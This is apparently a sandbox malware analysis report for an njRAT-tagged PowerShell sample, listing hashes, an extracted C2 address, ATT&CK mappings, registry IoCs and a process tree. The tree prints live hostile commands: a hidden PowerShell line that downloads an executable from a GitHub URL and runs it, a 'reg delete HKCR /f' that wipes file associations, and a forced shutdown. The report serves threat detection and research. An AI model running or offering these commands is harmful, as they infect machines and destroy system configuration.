njrat | 5641c4bf7604efe0239d10a6964f244feac781598ac4b046bb7131907519480a

Analysis

max time kernel
70s
max time network
91s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260911-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
20/10/2026, 10:29

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

Reason

Machine shutdown

General

Target
script.ps1
Size 239B
Sample261020-mjg3psyvex
SHA256 5641c4bf7604efe0239d10a6964f244feac781598ac4b046bb7131907519480a
MD5 63d2a220158d4929eb18d6d15dd1c8b7
SHA1 a568b1a8cea1ce4c7154e5df5c1dd37972c5eac9
SHA512 064a5468d8b0843c7f83ee7e8245d6601bcba5a15174ad31786c2fe48c209bc4977ffd23adb4248b9a0bdacd3f11111416f1ab9dba696a43792c610eb50092b9
TLSH
T135D023520034034ECF3A44C3ECFB771041CBA20CEBED26D276BF84006800982033EA08
MD5 SHA1 SHA512 TLSH

Score

10^/10

dlgeded defense_evasion discovery execution njrat trojan

Malware Config

Extracted

Family

njrat

Version

<- NjRAT 0.7d Horror Edition ->

Botnet

dlgeded

23.95.31.196:13623

Mutex

4dae6979cd8f84331147677e76fd3205

Attributes

reg_key
4dae6979cd8f84331147677e76fd3205
splitter
Y262SUCZ4UJJ

Signatures

Family: njRAT/Bladabindi
Widely used RAT written in .NET.
trojan njrat

Badlisted process makes network request 2 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
2	3512	powershell.exe
3	3512	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
436	PowerShell.exe
3512	powershell.exe
3512	powershell.exe

Downloads MZ/PE file 1 IoCs

flow	pid	Process
3	3512	powershell.exe

Executes dropped EXE 3 IoCs

pid	Process
2432	mshalb67.exe
4608	3c3074e564774dcb98c7c803766ee575.exe
5156	6600af3f93344a8683c365c4ef5c5e02.exe

Contacts third-party web service commonly abused for C2 1 TTPs 2 IoCs

Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

Web Service

T1102

flow	ioc
1	raw.githubusercontent.com
3	raw.githubusercontent.com

Enumerates video capture drivers 2 TTPs 1 IoCs

Queries the legacy Video for Windows capture drivers. This is commonly abused by RATs to check for available webcams on the system before reporting to their C2.

discovery defense_evasion

Peripheral Device Discovery

T1120

Video Capture

T1125

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows NT\CurrentVersion\Drivers32\msvideo9	mshalb67.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 2 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
5236	cmd.exe
4448	cmd.exe

Reads the TCP/IP host and domain name from the registry 1 TTPs 2 IoCs

The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

discovery

System Network Configuration Discovery

T1016

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	mshalb67.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	mshalb67.exe

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mshalb67.exe

Modifies registry class 64 IoCs

description	ioc	Process
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.mov\ShellEx\{BB2E617C-0920-11D1-9A0B-00C04FC2D6C1}	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.ocx\PersistentHandler	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.potx\ShellEx	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.sldm	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.ods\ShellEx	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.onetoc2	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.aiff\PersistentHandler	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.M2TS	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.pptx\ShellEx\PropertyHandler	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.sor	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.nrw	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.erf\ShellEx	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.flv	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.hxx\PersistentHandler	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.mpe\ShellEx\{BB2E617C-0920-11D1-9A0B-00C04FC2D6C1}	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.pma\PersistentHandler	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.aspx\PersistentHandler	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.cap\ShellEx	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.dvr-ms\OpenWithProgIds	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.i\PersistentHandler	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.mp4\OpenWithProgIds	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.pfx	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\*\shellex\ContextMenuHandlers\{90AA3A4E-1CBA-4233-B8BB-535773D48449}	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.bcp\PersistentHandler	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.dv	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.m1v\PersistentHandler	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.mka	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.nef	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.ogm\ShellEx\{e357fccd-a995-4576-b01f-234630154e96}	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.php3	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.pptx	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.pdf\OpenWithList	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.pps	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.sys\PersistentHandler	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.hxf	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.iiq\ShellEx\{e357fccd-a995-4576-b01f-234630154e96}	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.rar	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.3gpp\ShellEx	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.AAC\OpenWithProgIds	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.Job	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.orf\ShellEx	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.scf	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.sol	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.aif\OpenWithProgIds	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.fdf\AcroExch.FDFDoc	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.hxk	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.pko	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.tsv	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.jpe\PersistentHandler	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.potm\ShellEx	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.asf\ShellEx\{BB2E617C-0920-11D1-9A0B-00C04FC2D6C1}	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.c	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.docm	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.orf	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.pnf	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.cxx\PersistentHandler	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.msc	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.oqy	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.pdf\ShellEx\{8895b1c6-b41f-4c1c-a562-0d564250836f}	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.sct	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.tli	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.asm	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.m3u8	reg.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
436	PowerShell.exe
436	PowerShell.exe
3512	powershell.exe
3512	powershell.exe

Suspicious use of AdjustPrivilegeToken 19 IoCs

description	pid	Process
Token: SeDebugPrivilege	436	PowerShell.exe
Token: SeDebugPrivilege	3512	powershell.exe
Token: SeDebugPrivilege	2432	mshalb67.exe
Token: 33	2432	mshalb67.exe
Token: SeIncBasePriorityPrivilege	2432	mshalb67.exe
Token: 33	2432	mshalb67.exe
Token: SeIncBasePriorityPrivilege	2432	mshalb67.exe
Token: 33	2432	mshalb67.exe
Token: SeIncBasePriorityPrivilege	2432	mshalb67.exe
Token: 33	2432	mshalb67.exe
Token: SeIncBasePriorityPrivilege	2432	mshalb67.exe
Token: 33	2432	mshalb67.exe
Token: SeIncBasePriorityPrivilege	2432	mshalb67.exe
Token: 33	2432	mshalb67.exe
Token: SeIncBasePriorityPrivilege	2432	mshalb67.exe
Token: 33	2432	mshalb67.exe
Token: SeIncBasePriorityPrivilege	2432	mshalb67.exe
Token: 33	2188	AUDIODG.EXE
Token: SeIncBasePriorityPrivilege	2188	AUDIODG.EXE

Suspicious use of WriteProcessMemory 7 IoCs

description	pid	Process	procid_target
PID 436 wrote to memory of 3512	436	PowerShell.exe	91
PID 3512 wrote to memory of 2432	3512	powershell.exe	92
PID 2432 wrote to memory of 4608	2432	mshalb67.exe	95
PID 4608 wrote to memory of 1768	4608	3c3074e564774dcb98c7c803766ee575.exe	96
PID 2432 wrote to memory of 5156	2432	mshalb67.exe	97
PID 4608 wrote to memory of 5236	4608	3c3074e564774dcb98c7c803766ee575.exe	99
PID 5236 wrote to memory of 4128	5236	cmd.exe	101

C:\Windows\system32\WindowsPowerShell\v1.0\PowerShell.exe
powershell.exe -ExecutionPolicy bypass -File C:\Users\Admin\AppData\Local\Temp\script.ps1
1⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:436
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -WindowStyle Hidden -Command "Invoke-WebRequest -Uri 'https://github.com/Shay7lebb-cloud/6767/raw/refs/heads/main/mshalb67.exe' -OutFile 'C:\Users\Admin\AppData\Local\Temp\mshalb67.exe'; Start-Process 'C:\Users\Admin\AppData\Local\Temp\mshalb67.exe'"
  2⤵
  - Badlisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Downloads MZ/PE file
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3512
- - C:\Users\Admin\AppData\Local\Temp\mshalb67.exe
    "C:\Users\Admin\AppData\Local\Temp\mshalb67.exe"
    3⤵
    - Executes dropped EXE
    - Enumerates video capture drivers
    - Reads the TCP/IP host and domain name from the registry
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:2432
  - - C:\Users\Admin\AppData\Local\Temp\3c3074e564774dcb98c7c803766ee575.exe
      "C:\Users\Admin\AppData\Local\Temp\3c3074e564774dcb98c7c803766ee575.exe"
      4⤵
      Executes dropped EXE
      Suspicious use of WriteProcessMemory
      PID:4608
    - - C:\Windows\System32\mshta.exe
        
        "C:\Windows\System32\mshta.exe" vbscript:Execute("msgbox ""You Hacked By Shay7lebb"", 48, ""Warning"":close")
        5⤵
        
        PID:1768
    - - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /k reg delete HKCR /f
        5⤵
        Executes a command shell one-liner
        Suspicious use of WriteProcessMemory
        
        PID:5236
      - C:\Windows\system32\reg.exe
        
        reg delete HKCR /f
        6⤵
        Modifies registry class
        
        PID:4128
  - - C:\Users\Admin\AppData\Local\Temp\6600af3f93344a8683c365c4ef5c5e02.exe
      "C:\Users\Admin\AppData\Local\Temp\6600af3f93344a8683c365c4ef5c5e02.exe"
      4⤵
      Executes dropped EXE
      PID:5156
  - - C:\Windows\SysWOW64\cmd.exe
      cmd /c start shutdown /s /f /t 0
      4⤵
      Executes a command shell one-liner
      PID:4448
    - - C:\Windows\SysWOW64\shutdown.exe
        
        shutdown /s /f /t 0
        5⤵
        
        PID:1184

C:\Windows\system32\AUDIODG.EXE
C:\Windows\system32\AUDIODG.EXE 0x00000000000004C0 0x00000000000004B8
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2188

C:\Windows\system32\LogonUI.exe
"LogonUI.exe" /flags:0x4 /state0:0xa3a39855 /state1:0x41c64e6d
1⤵
PID:1936

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Peripheral Device Discovery

T1120

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Video Capture

T1125

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 64B
SHA256 4699397156072ea13431064a8c2ea55e992a6619b005fec46af45ad4f7df4cff
MD5 e3c6572d3af299211c3bcc0b0f5a576c
SHA1 ea78f7d1827b68695be4cd02f22cddaf83aff882
SHA512 d25c79b1f72568112ac3db11fcd863393e98a671b47da98ca279620991b8ea125af786b482ab7b0d1a04da600ee3082004e2e9d3685fa6c2751f3c703651d58f
MD5 SHA1 SHA512

Submit Download

3c3074e564774dcb98c7c803766ee575.exe

Path C:\Users\Admin\AppData\Local\Temp\3c3074e564774dcb98c7c803766ee575.exe
Size 12KB
SHA256 121dbce9a60d8f122d22cde73678b511c31e3168dea67a5b01944c0dd7160792
MD5 ed6fe70c8ae9bab054a55f894deb2dfb
SHA1 48da88e4eea3e45a304f2cab139d25a0606020cc
SHA512 daed26a779fc534da69728f1f918c0057801f370e01fe3be2446036050eccdb09286024fc4026b1dbe79fc0f83014bfa7ef50d0967d57a48b4c4dbd1175ea10f
SSDEEP 192:BxCCVwsjHMGzW6sfSurf11eb7vptT5avt2rXbEILcOGzbP:B0BGHMGC6sfZrf/eb7DT5It2rXLcOGf
TLSH
T1BD423C46BFD68830C5AD0B3D287747D56A30A44A8A33DB5E1DCD81BB5E767480EC86F4
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

6600af3f93344a8683c365c4ef5c5e02.exe

Path C:\Users\Admin\AppData\Local\Temp\6600af3f93344a8683c365c4ef5c5e02.exe
Size 11KB
SHA256 19e7858f735b00f010959ddceb45465e30ef84f9d975d266ffbf63e6a73abdb5
MD5 252cd48a417acfa3fce8616f2679142b
SHA1 57f0f1976c4e434dc5e0210207fceef1f9c0e430
SHA512 94cb5c5a91eed71b2265d8e92b5e7e517321f7cd9b36e448dbe872e1da362e1ce38b2d4b3f3e5879a1e004edc95db7caeb22998bf20c36756e02660720e8fac0
SSDEEP 192:Y2yLlJRjc5kqJAQebmjsTrtSiV9oO+MX:Y9LlJR2NJJebQsHtSi//
TLSH
T19B32F70C67E88924E5BE4B7218B7C61147B0F0038E27CF5E1DDE9CEE1E667216576B82
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

__PSScriptPolicyTest_edx3rg1e.zmo.psm1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_edx3rg1e.zmo.psm1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

mshalb67.exe

Path C:\Users\Admin\AppData\Local\Temp\mshalb67.exe
Size 55KB
SHA256 10899fbf7ad1a6debd6fcd0f00de18478f9a773f88f417839badbd70e4cf6815
MD5 7a172a793cbca69dced58d06092e62ae
SHA1 d3da233327d70879ee7586dbd2a84999d9bbf63c
SHA512 a740ece5a9b3df9421b6485121d76eb37e1f974a2f065d72a400590046ad5814ef90c471efab53454aea279dd032518e816c54b5b034ec88597fa2bd5d79873b
SSDEEP 1536:pzYADnG5N3HSdfd7ED9wsNMDyXExI3pmmm:yADn0ydtED9wsNMDyXExI3pm
TLSH
T1F3431744BFEA4A01E2BD8F3469F655150634BA23F532EB1E88D568EB17327C58C40FE6
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/436-6-0x00007FFDB3F90000-0x00007FFDB4934000-memory.dmp

Download

memory/436-8-0x00007FFDB3F90000-0x00007FFDB4934000-memory.dmp

Download

memory/436-7-0x00007FFDB3F90000-0x00007FFDB4934000-memory.dmp

Download

memory/436-11-0x00007FFDB3F90000-0x00007FFDB4934000-memory.dmp

Download

memory/436-12-0x00007FFDB3F90000-0x00007FFDB4934000-memory.dmp

Download

memory/436-13-0x00007FFDB3F90000-0x00007FFDB4934000-memory.dmp

Download

memory/436-5-0x00007FFDB3F90000-0x00007FFDB4934000-memory.dmp

Download

memory/436-4-0x000001709DD80000-0x000001709DDA2000-memory.dmp

Download

memory/436-35-0x00007FFDB3F90000-0x00007FFDB4934000-memory.dmp

Download

memory/436-3-0x00007FFDB3F90000-0x00007FFDB4934000-memory.dmp

Download

memory/436-0-0x00007FFDB411F000-0x00007FFDB4120000-memory.dmp

Download

memory/2432-32-0x0000000000AC0000-0x0000000000AD0000-memory.dmp

Download

memory/2432-36-0x0000000000AC0000-0x0000000000AD0000-memory.dmp

Download

memory/3512-20-0x00007FFDB3F90000-0x00007FFDB4934000-memory.dmp

Download

memory/3512-21-0x00007FFDB3F90000-0x00007FFDB4934000-memory.dmp

Download

memory/3512-19-0x00007FFDB3F90000-0x00007FFDB4934000-memory.dmp

Download

memory/3512-31-0x00007FFDB3F90000-0x00007FFDB4934000-memory.dmp

Download

memory/3512-18-0x00007FFDB3F90000-0x00007FFDB4934000-memory.dmp

Download

memory/3512-17-0x00007FFDB3F90000-0x00007FFDB4934000-memory.dmp

Download

memory/3512-16-0x00007FFDB3F90000-0x00007FFDB4934000-memory.dmp

Download

memory/3512-15-0x00007FFDB3F90000-0x00007FFDB4934000-memory.dmp

Download

memory/3512-14-0x00007FFDB3F90000-0x00007FFDB4934000-memory.dmp

Download

memory/4608-47-0x00000000006E0000-0x00000000006EA000-memory.dmp

Download

memory/5156-59-0x00000000006B0000-0x00000000006BA000-memory.dmp

Download

Analysis

Sharing

Errors

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads